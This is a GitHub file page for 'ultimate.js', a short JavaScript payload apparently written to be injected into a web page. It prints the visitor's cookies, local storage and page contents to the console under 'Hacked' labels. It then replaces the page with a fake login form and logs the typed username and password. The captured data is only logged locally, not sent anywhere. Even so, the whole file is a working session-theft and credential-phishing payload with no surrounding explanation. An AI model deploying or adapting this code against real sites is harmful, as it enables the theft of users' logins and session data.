-
Notifications
You must be signed in to change notification settings - Fork 7
/
ultimate.js
31 lines (25 loc) · 1.15 KB
/
ultimate.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Log cookies, local storage, and DOM contents
console.log(`%cHacked Cookies: %c${document.cookie}`, 'color: red', 'color: white');
console.log(`%cHacked Local Storage: %c${JSON.stringify(localStorage)}`, 'color: red', 'color: white');
console.log(`%cHacked DOM Contents: %c${document.documentElement.innerHTML}`, 'color: red', 'color: white');
// Create a fake login page
const fakeLoginPage = `
<style>
/* ...some CSS to style the login page... */
</style>
<form id="fakeLoginForm">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
`;
document.documentElement.innerHTML = fakeLoginPage;
// Log form submissions to the console
const form = document.getElementById('fakeLoginForm');
form.addEventListener('submit', (e) => {
e.preventDefault();
const username = form.elements['username'].value;
const password = form.elements['password'].value;
console.log(`%cHacked Username: %c${username}`, 'color: red', 'color: white');
console.log(`%cHacked Password: %c${password}`, 'color: red', 'color: white');
});